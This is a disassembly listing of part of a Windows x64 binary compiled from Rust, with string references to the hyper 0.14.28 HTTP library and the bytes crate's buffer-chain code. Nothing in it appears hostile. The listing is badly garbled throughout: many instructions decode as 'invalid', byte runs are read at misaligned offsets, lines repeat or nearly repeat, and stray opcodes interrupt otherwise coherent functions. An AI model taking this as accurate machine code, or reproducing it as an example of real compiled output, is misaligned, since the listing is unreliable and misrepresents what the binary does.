mov rdx, qword [rsp + 0x28]
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x90], xmm0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x29], cl
sub qword [rbx + 0x80], rax
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rdx
and al, 0x88
add byte [rax], al
add byte [rax], al
invalid
invalid
xchg esp, eax
sub qword [rbx + 0x80], rax
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rdx
and al, 0x88
add byte [rax], al
add byte [rax], al
add byte [rax], al
sete r13b
add r13b, 5
invalid
lea rsi, [rsp + 0x38]
cmp qword [rsp + 0x80], 0
mov byte [rbx + 0x79], r13b
mov byte [rbx + 0x79], ch
mov byte [rbx + 0x79], ch
je 0x140092135
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xb8], ecx
and al, 0x90
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xb8], ecx
movups xmmword [rsp + 0xa8], xmm0
xor r15d, r15d
mov r13, qword [rsp + 0xc8]
and al, 0xc8
add byte [rax], al
add cl, ch
adc al, 0xf6
invalid
invalid
and al, 0xc8
add byte [rax], al
add cl, ch
adc al, 0xf6
invalid
mov qword [rbx + 0x80], 0
call fcn.1400961a0
jmp 0x140092573
mov al, 1
mov rdi, r12
out 0x48, eax
lea esi, [rsp + 0x38]
out 0x48, eax
lea esi, [rsp + 0x38]
jmp 0x14009211e
mov rdi, rax
lea rcx, [rsp + 0x38]
mov rdx, r12
xor r8d, r8d
sar bh, 0x56
adc byte [rax + 0x748d4801], dh
and al, 0x38
sar bh, 0x56
adc byte [rax + 0x748d4801], dh
and al, 0x38
jmp 0x14009211e
sti
invalid
push rsp
and al, 0x40
mov r8, qword [rsp + 0x48]
call fcn.140095f90
mov al, 2
cmp qword [rsp + 0x50], 0
add byte [rdi], cl
test dword [rsi - 5], esp
invalid
invalid
add byte [rdi], cl
test dword [rsi - 5], esp
invalid
mov rsi, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
test rsi, rsi
je 0x140092564
lea rax, [rsp + 0x68]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], r12
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x140092618
movzx r13d, byte [r12]
lea rcx, [rsp + 0x38]
lea ecx, [rsp + 0x38]
mov dh, 0x2c
and al, 0x48
lea ecx, [rsp + 0x38]
mov rdx, r12
call qword [rsi + 0x10]
mov al, 7
cmp r13b, 0xd
lea rsi, [rsp + 0x38]
je 0x1400923b3
cmpsd dword [rsi], dword [rdi]
std
invalid
invalid
cmpsd dword [rsi], dword [rdi]
std
invalid
lea rdx, [0x14013ca0d]
lea edx, [0x14013ca0d]
jmp 0x140092467
lea rdx, [0x14013c98d]
mov r8d, 0x25
invalid
add byte [rax], al
invalid
and eax, 0xb1000000
and eax, 0x3c04e8
add cl, ch
invalid
invalid
mov cl, 0x25
call fcn.140096230
jmp 0x140092573
mov edx, dword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call fcn.140095f90
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x14009211e
mov rsi, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
invalid
test rsi, rsi
je 0x140092564
invalid
lea rax, [rsp + 0x68]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rsi
and byte [rcx + rcx*4 + 0x64], cl
and al, 0x28
invalid
and byte [rcx + rcx*4 + 0x64], cl
and al, 0x28
invalid
sub byte [rbx + rcx*4 + 0x44], cl
and al, 0x30
invalid
mov r8, qword [rsp + 0x30]
xor byte [rbp - 0x7b], cl
sal byte [rax + rcx*4 + 0x45], 0xf
mov dh, 0x2c
and al, 0x48
lea ecx, [rsp + 0x38]
test r8, r8
je 0x140092618
movzx r13d, byte [r12]
lea rcx, [rsp + 0x38]
mov rdx, r12
call qword [rsi + 0x10]
mov al, 1
cmp r13b, 0xa
or cl, byte [rax - 0x73]
je 0x1400926ce
cmp byte [rdi], cl
test byte [rdx], al
add bh, ch
invalid
invalid
or cl, byte [rax - 0x73]
je 0x1400926ce
cmp byte [rdi], cl
test byte [rdx], al
add bh, ch
add bh, ch
invalid
dec dword [rax - 0x73]
adc eax, 0xaa36a
lea rdx, [0x14013ca22]
jmp 0x140092467
dec dword [rdi]
invalid
and al, 0x40
mov r8, qword [rsp + 0x48]
call fcn.140095f90
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x14009211e
cli
invalid
invalid
cli
invalid
mov rax, qword [rsp + 0x58]
and al, 0x58
pop rax
mov rdx, qword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
test rax, rax
je 0x140091eaa
lea rcx, [rsp + 0x68]
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
add dword [rax - 0x73], ecx
and al, 0x30
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
sub byte [rbx + rcx*4 + 0x44], cl
and al, 0x30
sub byte [rbx + rcx*4 + 0x44], cl
and al, 0x30
test r8, r8
je 0x140092383
cld
invalid
invalid
ror byte [rdi], 0x84
invalid
cld
invalid
movzx esi, byte [rdx]
lea rcx, [rsp + 0x38]
call qword [rax + 0x10]
cmp sil, 0xd
dec byte [0x1647db47e]
cmp byte [rdi], cl
xchg esp, eax
ror byte [rax + rcx], 0x88
jns 0x140092788
mov dword [rsp + 0x80], 0
dec byte [0x1647db47e]
cmp byte [rdi], cl
xchg esp, eax
ror byte [rax + rcx], 0x88
jns 0x140092788
mov dword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rdi + rcx - 0x4a], al
call 0xed4d8a9d
invalid
lodsd eax, dword [rsi]
add byte [rax + 1], cl
call 0x15f19085a
add byte [rax], 0
add byte [rax], al
movzx r13d, al
movzx ebp, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
invalid
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x50]
and al, 0x50
mov r9d, 1
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x40
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call fcn.140095f90
call fcn.140095f90
mov al, 2
cmp qword [rsp + 0x50], 0
cmp dword [rsp + 0x50], 0
jne 0x14009211e
mov rsi, qword [rsp + 0x58]
pop rax
mov r12, qword [rsp + 0x60]
and al, 0x60
invalid
test rsi, rsi
je 0x140092564
lea rax, [rsp + 0x68]
lea eax, [rsp + 0x68]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
lea eax, [rsp + 0x30]
lea eax, [rsp + 0x30]
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], r12
mov r8, qword [rsp + 0x30]
test r8, r8
ror byte [rbp + rcx*4 + 0x7c], 0x24
invalid
ror byte [rbp + rcx*4 + 0x7c], 0x24
cmp byte [rdi], cl
je 0x14009292e
je 0x14009292e
add word [rax], ax
add dword [rax], eax
add byte [rbp + 0xf], al
mov dh, 0x2c
and al, 0x4c
mov ecx, edi
movzx r13d, byte [r12]
mov rcx, r15
mov rdx, r12
call qword [rsi + 0x10]
push rsi
adc byte [rcx], dh
rol byte [rcx - 0x80], 0xfd
or eax, 0x8dc0940f
or byte [rax - 0x38b786bd], cl
or byte [rax - 0x38b786bd], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
push rsi
adc byte [rcx], dh
rol byte [rcx - 0x80], 0xfd
or eax, 0x8dc0940f
or byte [rax - 0x38b786bd], cl
or byte [rax - 0x38b786bd], cl
or byte [rax - 0x38b786bd], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rdi + rcx - 0x4a], al
movzx r13d, al
mov dh, pe_nt_image_headers64
call 0xed4d8b44
add byte [rax + 1], cl
call 0x1647db54a
cmp bh, bh
movsxd rax, dword [rbp + r13*4]
add rax, rbp
lea rsi, [rsp + 0x38]
jmp rax
invalid
loopne 0x14009284e
lea ecx, [rsp + 0x50]
push rax
mov r9d, 1
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call fcn.140095f90
invalid
add byte [rax], al
mov al, 2
cmp qword [rsp + 0x50], 0
and al, 0x50
add byte [rdi], cl
test ecx, esi
clc
invalid
invalid
invalid
and al, 0x50
add byte [rdi], cl
test ecx, esi
clc
invalid
mov rsi, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
test rsi, rsi
je 0x140092564
and al, 0xfd
invalid
invalid
and al, 0xfd
invalid
lea rax, [rsp + 0x68]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
movups xmmword [rax], xmm0
adc dword [rax], eax
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x20], esi
and byte [rcx + rcx*4 + 0x64], cl
and al, 0x28
mov qword [rsp + 0x28], r12
mov r8, qword [rsp + 0x30]
and al, 0x30
test r8, r8
je 0x140092618
mov al, 0xfd
invalid
invalid
mov al, 0xfd
invalid
movzx r13d, byte [r12]
lea rcx, [rsp + 0x38]
cmp byte [rcx + rcx*4 - 0x1e], cl
cmp byte [rcx + rcx*4 - 0x1e], cl
call qword [rsi + 0x10]
mov al, 0xa
cmp r13b, 0xa
lea rsi, [rsp + 0x38]
cmp byte [rdi], cl
test byte [rdx], ch
sti
invalid
invalid
cmp byte [rdi], cl
test byte [rdx], ch
sti
invalid
lea rdx, [0x14013cab6]
mov r8d, 0x16
add byte [rax], al
movabs byte [0x16b841000a], al
add byte [rax], al
mov cl, 0x14
jmp 0x140091ecd
add dword [rax], eax
add byte [rax], al
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call fcn.140095f90
mov al, 2
add cl, byte [rax - 0x7d]
jl 0x1400928e1
push rax
add byte [rdi], cl
test dword [rcx - 8], ebx
invalid
invalid
dec dword [rax - 0x75]
je 0x1400928ed
mov rsi, qword [rsp + 0x58]
pop rax
mov rdi, qword [rsp + 0x60]
mov al, 1
test rsi, rsi
je case.0x140071b87.105
lea rax, [rsp + 0x68]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rsi
je 0x14009290e
and byte [rax - 0x77], cl
jl 0x140092913
sub byte [rbx + rcx*4 + 0x44], cl
and al, 0x30
invalid
jl 0x140092913
sub byte [rbx + rcx*4 + 0x44], cl
and al, 0x30
invalid
xor byte [rbp - 0x7b], cl
sal byte [rbp + 0x53], 0x48
lea edx, [0x14013c98d]
test r8, r8
jne 0x14009294d
lea rdx, [0x14013c98d]
mov r8d, 0x25
mov cl, 0x25
call fcn.140096230
mov r12, rax
lea rcx, [rsp + 0x38]
and al, 0x38
mov rdx, rdi
xor r8d, r8d
call qword [rsi + 0x10]
jmp 0x140092564
invalid
invalid
invalid
lea rsi, [rsp + 0x38]
jmp 0x14009211e
lea rdx, [0x14013c98d]
mov r8d, 0x25
mov cl, 0x25
call fcn.140096230
mov rdi, rax
invalid
mov rcx, r15
jmp 0x14009257b
invalid
movzx r14d, byte [rdi]
lea rcx, [rsp + 0x38]
lea ecx, [rsp + 0x38]
lea ecx, [rsp + 0x38]
mov rdx, rdi
call qword [rsi + 0x10]
cmp r14b, 0xa
jne 0x140092994
mov byte [rbx + 0x79], 0xc
lea rax, [0x14013a998]
add eax, 0xa802b
mov qword [rsp + 0xa8], rax
lea rax, [0x14016f768]
mov qword [rsp + 0xb0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
jmp 0x140091ee9
lea rdx, [0x14013c9f9]
mov r8d, 0x14
add byte [rcx - 0x48], al
adc al, 0
add byte [rax], al
mov cl, 0x14
jmp 0x140091ecd
int3
test byte [rdx + 0x4c000000], dl
sub eax, edx
mul r9
shr rdx, 6
add r10, 0x48
xor r8d, r8d
xor r8d, r8d
lea rax, [0x1401748c8]
jmp 0x140092a00
mov r11, qword [r10 - 0x38]
add r8, r11
add r10, 0x50
dec rdx
je 0x140092a64
mov r11, qword [r10 - 0x48]
movsxd r11, dword [rax + r11*4]
add r11, rax
jmp r11
jmp rbx
jmp rbx
mov r11, qword [r10 - 0x30]
jmp 0x1400929f4
movzx r11d, byte [r10 - 0xd]
sub r11b, byte [r10 - 0xe]
movzx r11d, r11b
add r11, qword [r10 - 0x30]
jb 0x140092afa
add r11, qword [r10]
jae 0x1400929f4
jmp 0x140092afa
mov rsi, qword [r10 - 0x30]
mov r11, qword [r10 - 0x20]
cmp rsi, r11
cmp esi, ebx
cmp esi, ebx
cmovb r11, rsi
cmovb ebx, esi
jmp 0x1400929f4
mov r10, qword [rcx + 0x10]
mov rax, qword [rcx + 0x18]
cmp r10, rax
je 0x140092af1
sub rax, r10
mul r9
shr rdx, 6
add r10, 0x48
add edx, 0x48
add edx, 0x48
lea rax, [0x1401748d8]
jmp 0x140092aa0
nop dword [rax]
mov rcx, qword [r10 - 0x38]
add r8, rcx
add r10, 0x50
dec rdx
retf 0x5174
retf 0x5174
mov rcx, qword [r10 - 0x48]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
mov rcx, qword [r10 - 0x30]
jmp 0x140092a94
shr bl, 1
loope 0x140092b1a
nop word cs:[rax + rax]
movzx ecx, byte [r10 - 0xd]
sub cl, byte [r10 - 0xe]
movzx ecx, cl
add rcx, qword [r10 - 0x30]
jb 0x140092afa
add rcx, qword [r10]
jae 0x140092a94
jmp 0x140092afa
mov r9, qword [r10 - 0x30]
mov rcx, qword [r10 - 0x20]
cmp r9, rcx
cmovb rcx, r9
cmovb ecx, ecx
cmovb ecx, ecx
jmp 0x140092a94
mov rax, r8
add rsp, 0x20
pop rsi
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140104a40
int3
add al, ch
cmp bl, byte [rdi]
invalid
int3
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x478
add al, 0
add byte [rdi], cl
sub dword [rsp + 0x460], esi
add al, 0
add byte [rdi], cl
sub dword [rsp + 0x460], esi
mov qword [rsp + 0x20], rdx
mov rbp, rcx
cmp byte [rcx + 0x178], 0
mov ecx, 0x178
invalid
je 0x140092b52
mov ecx, 0x178
add byte [rsi + rdx + 0x45], dh
xor esp, esp
xor r12d, r12d
cmp qword [rbp + 0x160], 0
mov ebx, 0
jne 0x140092c1c
mov r13, qword [rbp + 0xe8]
mov rdi, qword [rbp + 0xf0]
lodsd eax, dword [rsi]
call 0x188092b5a
mov edi, dword [rbp + 0xf0]
mov r8, qword [rbp + 0xf8]
mov rbx, qword [rbp + 0x110]
add byte [rax], al
add byte [rax], al
test rbx, rbx
mov qword [rsp + 0x30], r8
and al, 0x30
and al, 0x30
je 0x140092b9e
mov rax, qword [rbp + 0x108]
xor ecx, ecx
cmp rax, r8
cmovae rcx, r8
sub rax, rcx
mov rdx, r8
mov edx, eax
mov edx, eax
sub rdx, rax
mov rcx, rbx
sub rcx, rdx
jbe 0x140092ba4
mov rdx, r8
jmp 0x140092baa
xor eax, eax
xor edx, edx
jmp 0x140092ba8
lea rdx, [rax + rbx]
xor ecx, ecx
mov rsi, r13
out dx, al
sub rsi, rdi
mov r8, qword [rbp + 0x100]
add dword [rax], eax
add byte [rax - 0x73], cl
add al, 0x80
add dword [rax], eax
add byte [rax - 0x73], cl
add al, 0x80
shl rax, 4
add rax, r8
lea rdx, [rdx + rdx*4]
shl rdx, 4
add rdx, r8
lea rcx, [rcx + rcx*4]
shl rcx, 4
add al, 0x4c
add ecx, eax
add al, 0x4c
add ecx, eax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x70], r8
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x60]
and al, 0x60
and al, 0x60
call fcn.1400929b0
add rax, rsi
jne 0x140092c60
mov rcx, qword [rbp + 0x140]
mov rax, qword [rbp + 0x148]
mov rdx, qword [rsp + 0x20]
call qword [rax + 0x28]
mov rbx, rax
push rax
sub byte [rax - 0x77], cl
ret
mov r12, rdx
test rbx, rbx
jne 0x140092c3e
test r12, r12
jne 0x140092c3e
and al, 0x20
call fcn.140091780
xor r12d, r12d
mov rax, rbx
mov rdx, r12
movaps xmm6, xmmword [rsp + 0x460]
add rsp, 0x478
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x38], rax
cmp byte [rbp + 0x120], 0
je 0x140093311
invalid
cwde
invalid
add byte [rax], al
test byte [rax + 0x4c000006], bl
lea esi, [0x14016f768]
lea r14, [0x14016f768]
xorps xmm6, xmm6
lea r11, [0x1401748e8]
nop word [rax + rax]
mov eax, 0x38
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
nop dword [rax + rax]
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
nop dword [rax + rax]
mov dword [rsp + rax + 0x28], 0
mov qword [rsp + rax + 0x30], r14
mov dword [rsp + rax + 0x38], 0
add byte [rcx + rcx*4 + 0x74], cl
add al, 0x40
add byte [rcx + rcx*4 + 0x74], cl
add al, 0x40
mov dword [rsp + rax + 0x48], 0
mov qword [rsp + rax + 0x50], r14
mov dword [rsp + rax + 0x58], 0
mov qword [rsp + rax + 0x60], r14
add rax, 0x40
cmp rax, 0x438
jne 0x140092ca0
mov rcx, r13
sub rcx, rdi
mov r8, qword [rsp + 0x30]
jne 0x140092d30
xor r9d, r9d
mov qword [rsp + 0x48], rcx
test rbx, rbx
test rbx, rbx
mov qword [rsp + 0x58], rdi
je 0x140092d6b
mov rax, qword [rbp + 0x108]
cmp rax, r8
mov ecx, 0
cmovae rcx, r8
sub rax, rcx
mov rdx, r8
sub rdx, rax
mov rcx, rbx
sub rcx, rdx
ja 0x140092d72
jb 0x140093484
mov rax, rcx
shr rax, 0x20
jne 0x140093402
xor eax, eax
xor r8d, r8d
xor ecx, ecx
mov edx, 0x40
sub rdx, r9
mov qword [rsp + 0x50], r9
and al, 0x50
and al, 0x50
shl r9d, 4
lea rsi, [rsp + r9]
add rsi, 0x60
lea rax, [rax + rax*4]
lea eax, [rax + rax*4]
lea eax, [rax + rax*4]
shl rax, 4
shl eax, 4
mov rdi, qword [rsp + 0x28]
add rax, rdi
lea r13, [r8 + r8*4]
lea ebp, [rax + rax*4]
lea ebp, [rax + rax*4]
shl r13, 4
add r13, rdi
add ebp, edi
add ebp, edi
lea r12, [rcx + rcx*4]
shl r12, 4
in al, 4
in al, 4
add r12, rdi
cld
xor r9d, r9d
mov qword [rsp + 0x40], rsi
jmp 0x140092dd5
invalid
xor eax, eax
add r15, 0x50
add r9, rax
mov rax, r15
invalid
cmp r9, rdx
je 0x140092fe0
cmp rax, r13
je case.0x14009e6a0.215
mov r15, rax
jmp 0x140092dfe
invalid
test rdi, rdi
je 0x140092fe3
mov r15, rdi
mov r13, r12
cmp rdi, r12
mov r12, rax
invalid
mov rdi, rax
je 0x140092fe3
add byte [rax], al
invalid
add byte [rax], al
mov rax, rdx
sub rax, r9
ror byte [rcx + rbp - 0x38], 1
jb 0x1400933f3
mov r8, r9
shl r8, 4
add al, 0x49
add eax, esi
enter 0xffffffffffffc149, 0xffffffffffffffe0
add al, 0x49
add eax, esi
mov rcx, qword [r15]
movsxd rcx, dword [r11 + rcx*4]
add rcx, r11
add ecx, ebx
add ecx, ebx
jmp rcx
cmp rdx, r9
je 0x140092dc0
wait
wait
mov rax, qword [r15 + 0x18]
test rax, rax
jne 0x140092ec1
add byte [rax], al
add byte [rax], al
jmp 0x140092dc0
add byte [rax], al
add byte [rax], al
cmp rdx, r9
jne 0x140092ee3
xor r10d, r10d
cmp r10, rax
jne 0x140092f3d
test eax, ebp
add byte [rax], al
invalid
test eax, ebp
add byte [rax], al
add cl, ch
sub al, byte [rcx]
add byte [rax], al
nop word [rax + rax]
cmp rdx, r9
je 0x140092dc0
test byte [rdi - 1], dl
invalid
invalid
jmp 0x140092f84
test byte [rdi - 1], dl
invalid
mov rcx, qword [r15 + 0x10]
mov eax, 0
adc byte [rax], bh
test rcx, rcx
leave
je 0x140092dc2
mov rax, rcx
shr rax, 0x20
call 0x1ba8e3da5
invalid
add byte [rax], al
call 0x1ba8e3da5
add eax, 0x8b490000
or byte [r9 - 0x77], r8b
invalid
invalid
jp 0x140092e8b
add byte [rax], al
mov rax, qword [r15 + 8]
or byte [rcx - 0x77], al
mov dword [r8], ecx
mov qword [r8 + 8], rax
mov dword [rax + 8], eax
or byte [rcx - 0x77], cl
or bl, bpl
nop word cs:[rax + rax]
cmp rdx, r9
je 0x140092dc0
test byte [rdi], dl
invalid
invalid
invalid
mov dword [rax + 8], eax
jmp 0x140092ed9
test byte [rdi], dl
invalid
mov rcx, qword [r15 + 0x18]
mov rax, qword [r15 + 0x28]
cmp rcx, rax
cmovb rax, rcx
test rax, rax
je 0x140092dc0
mov rcx, rax
shr rcx, 0x20
jne 0x140093402
mov rcx, qword [r15 + 0x10]
mov dword [r8], eax
add byte [rcx - 0x77], cl
invalid
invalid
add byte [rcx - 0x77], cl
or byte [rax + 1], dil
mov eax, 1
jmp 0x140092dc2
movzx ecx, byte [r15 + 0x3a]
movzx esi, byte [r15 + 0x3b]
cmp sil, cl
jne 0x140092f05
xor r10d, r10d
mov rsi, qword [rsp + 0x40]
cmp r10, rax
ror byte [rax - 0x75], cl
je 0x140092f1d
cmp r10, rax
je 0x140092f84
jmp 0x140092f3d
movzx ecx, cl
movzx r10d, sil
jb 0x140093461
cmp sil, 0x12
ja 0x14009344d
lea rsi, [r15 + 0x28]
lea esi, [rdi + 0x28]
sub r10d, ecx
add rsi, rcx
add esi, ecx
add esi, ecx
mov dword [r8], r10d
mov qword [r8 + 8], rsi
mov r10d, 1
mov rsi, qword [rsp + 0x40]
cmp r10, rax
je 0x140092f84
mov rcx, qword [r15 + 0x18]
test rcx, rcx
je 0x140092f84
mov rsi, rcx
shr rsi, 0x20
jne 0x140093402
mov esi, r10d
shl esi, 4
add rsi, r8
mov r11, qword [r15 + 0x10]
mov dword [rsi], ecx
mov qword [rsi + 8], r11
mov ecx, 1
add byte [rax], al
add byte [rbp + rcx*4 + 0x1d], cl
jbe 0x140092f89
invalid
add byte [rax - 0x75], cl
je 0x140092f9a
add rcx, r10
je 0x140092f9a
add rcx, r10
cmp rcx, rax
jbe 0x140092f92
jmp case.0x140091fd1.213
xor ecx, ecx
add rcx, r10
cmp rcx, rax
ja case.0x140091fd1.213
je 0x140092fcf
mov r10, qword [r15 + 0x48]
mov eax, 0
test r10, r10
je 0x140092fc7
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rbp + riz + 0x4c], cl
mov eax, edx
shr rax, 0x20
jne 0x140093402
mov eax, ecx
shl eax, 4
add r8, rax
mov rax, qword [r15 + 0x40]
mov eax, dword [rdi + 0x40]
mov dword [r8], r10d
mov qword [r8 + 8], rax
mov eax, 1
add rax, rcx
jmp 0x140092dc2
xor eax, eax
add rax, rcx
jmp 0x140092dc2
mov r9, rdx
add r9, qword [rsp + 0x50]
cmp r9, 0x41
mov rsi, qword [rsp + 0x58]
jae 0x140093470
mov rcx, qword [rbp + 0x140]
mov rax, qword [rbp + 0x148]
mov rdx, qword [rsp + 0x20]
lea r8, [rsp + 0x60]
call qword [rax + 0x38]
mov r12, rdx
test rax, rax
jne 0x14009339c
xor eax, eax
mov rdx, qword [rsp + 0x48]
cmp rdx, r12
setne al
mov ecx, 0xff
cmovb eax, ecx
test al, al
je 0x140093050
movzx eax, al
cmp eax, 1
add dword [rbp + 0x21], esi
add dword [rbp + 0x21], esi
add rsi, r12
mov qword [rbp + 0xf0], rsi
jmp 0x140093230
mov rax, qword [rsp + 0x38]
movups xmmword [rax], xmm6
jmp 0x140093230
invalid
add byte [rdi], cl
invalid
mov r15, r12
mov rax, qword [rsp + 0x38]
movups xmmword [rax], xmm6
sub r15, rdx
sub edi, edx
sub edi, edx
mov rcx, qword [rsp + 0x30]
je 0x140093230
mov r13, qword [rbp + 0x108]
jmp 0x140093099
add byte [rax], al
add byte [rax], al
test r15, r15
je 0x140093230
sub rbx, 1
jb 0x140093429
mov eax, 0
cmovae rax, rcx
mov rcx, r13
sub rcx, rax
add byte [rax + 0xf], cl
ror dword [r9 + r9*4 - 0x17], 0x48
sub ecx, eax
lea rax, [rcx + rcx*4]
lea eax, [rcx + rcx*4]
shl rax, 4
shl eax, 4
mov r8, qword [rsp + 0x28]
lea rcx, [r8 + rax]
mov rax, qword [r8 + rax]
lea r8, [0x1401748f8]
movsxd rax, dword [r8 + rax*4]
add rax, r8
add eax, eax
add eax, eax
jmp rax
mov rax, qword [rcx + 0x18]
mov r15, rdx
sub r15, rax
jae 0x14009316b
jmp 0x140093223
movzx eax, byte [rcx + 0x3b]
sub al, byte [rcx + 0x3a]
movzx eax, al
add rax, qword [rcx + 0x18]
jb 0x140093441
invalid
add eax, dword [rax]
invalid
sub eax, 0x48000003
add eax, dword [rcx + 0x48]
add rax, qword [rcx + 0x48]
jb 0x140093441
mov r15, rdx
xlatb
sub r15, rax
jae 0x14009316b
jmp 0x140093223
mov rax, qword [rcx + 0x10]
mov r15, rdx
sub r15, rax
jae 0x14009316b
jmp 0x140093223
mov r8, qword [rcx + 0x18]
mov rax, qword [rcx + 0x28]
cmp r8, rax
cmovb rax, r8
mov r15, rdx
sub r15, rax
jb 0x140093223
mov rdx, rax
call fcn.140095bf0
mov rcx, qword [rsp + 0x30]
lea rax, [rdi + 1]
cmp rax, rcx
mov eax, 0
cmovae rax, rcx
neg rax
lea r13, [rdi + rax]
inc r13
mov qword [rbp + 0x108], r13
mov qword [rbp + 0x110], rbx
lea rax, [rdi + rdi*4]
shl rax, 4
mov rdx, qword [rsp + 0x28]
movups xmm0, xmmword [rdx + rax]
movups xmm1, xmmword [rdx + rax + 0x10]
movups xmm2, xmmword [rdx + rax + 0x20]
movups xmm3, xmmword [rdx + rax + 0x30]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rdx + rax + 0x40]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm3
movaps xmmword [rsp + 0x80], xmm2
movaps xmmword [rsp + 0x70], xmm1
mov rax, qword [rsp + 0x60]
cmp rax, 4
je 0x140093090
cmp eax, 3
je 0x140093090
mov rax, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
lea rcx, [rsp + 0x80]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
jmp 0x140093090
call fcn.140095bf0
mov rbx, qword [rbp + 0x110]
nop
mov r13, qword [rbp + 0xe8]
mov rdi, qword [rbp + 0xf0]
mov r8, qword [rbp + 0xf8]
test rbx, rbx
mov qword [rsp + 0x30], r8
je 0x140093280
mov rax, qword [rbp + 0x108]
cmp rax, r8
mov ecx, 0
cmovae rcx, r8
sub rax, rcx
mov rdx, r8
sub rdx, rax
mov rcx, rbx
sub rcx, rdx
jbe 0x140093290
xor eax, eax
xor edx, edx
jmp 0x140093294
mov rsi, rdi
cmp r13, rdi
jb 0x14009338a
mov rdi, qword [rbp + 0xe0]
mov r14, qword [rbp + 0x140]
mov rax, qword [rbp + 0x148]
mov qword [rsp + 0x28], rax
mov r15, qword [rax + 0x20]
movabs r12, 0x1700000003
xor ebx, ebx
nop word cs:[rax + rax]
mov r9, r13
sub r9, rsi
lea r8, [rdi + rsi]
mov rcx, r14
mov rdx, qword [rsp + 0x20]
call r15
test rax, rax
jne 0x1400933b2
add rsi, rdx
mov qword [rbp + 0xf0], rsi
cmp r13, rsi
je 0x1400933d6
test rdx, rdx
je 0x140092c3e
mov rax, rsi
cmp rax, r13
jbe 0x140093350
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
mov rcx, rsi
mov rdx, r13
call fcn.140104660
cmp rax, 1
jne 0x1400933c4
xor ebx, ebx
test rbx, rbx
je 0x140092c21
jmp 0x140092c3e
mov ebx, 1
cmp rax, 1
jne 0x1400933ce
xor ebx, ebx
jmp 0x140092c19
mov ebx, 1
jmp 0x140092c3e
mov r12, rdx
jmp 0x140092c3e
xorps xmm0, xmm0
mov rax, qword [rsp + 0x38]
movups xmmword [rax], xmm0
add byte [rcx + rcx*4 - 0xf], cl
add byte [rcx + rcx*4 - 0xf], cl
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
jmp 0x140092c13
invalid
dec dword [rbp + rcx*4 + 5]
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommon_buf.rs
lea eax, [0x14013e7d0]
mov rcx, r9
call fcn.140104660
lea rcx, str.assertion_failed:_buf.len_____c::ULONG::MAX_as_usize_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_syspalwindowsio.rs
xchg ecx, eax
or al, byte [rax]
invalid
add byte [rbp + rcx*4 + 5], cl
test al, 0x91
or al, byte [rax]
lea r8, [0x14013c5b8]
mov edx, 0x35
call fcn.1401046f0
xor eax, 0xe8000000
invalid
